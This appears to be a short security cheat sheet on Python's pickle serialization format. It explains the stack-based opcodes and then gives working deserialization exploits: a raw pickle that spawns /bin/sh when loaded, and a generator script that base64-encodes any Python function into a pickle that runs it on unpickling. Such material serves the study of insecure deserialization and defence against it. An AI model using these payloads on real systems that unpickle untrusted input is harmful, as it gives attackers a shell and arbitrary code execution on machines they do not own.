Pickle

Python includes a serialization library called pickle to write / read Python objects. It uses a stack based language for the interpreter.

InstructionDescription
cRead to the newline as the module name; read the next line as the module object; push module.object onto the stack
(Push a MARK object onto the stack
SPush trailing string in quotes onto the stack
VPush trailing unicode string in quotes onto the stack
lPop everything off the stack until MARK into a list; push the list back onto the stack
tPop everything off the stack until MARK into a tuple; push the tuple back onto the stack
RPop two objects off the stack (argument and callable); apply the function to the arguments; push the result back onto the stack
pRead to the newline as the index; peek at the top stack object and store it in memo index
gRead to the newline as the index; grab an object from memo index and push onto the stack
0Pop and discard the topmost stack item
.End of the pickle

Arbitrary Code Execution

The following will spawn /bin/sh when unpickled and is equivalent to:

import os
os.system('/bin/sh')
cos
system
(S'/bin/sh'
tR.

Below is a Python program that allows you to write a payload in Python that will get executed when unpickled. Source

import marshal
import base64

# payload() will be executed when unpickled
def payload():
    pass

print("""ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(payload.__code__)).decode())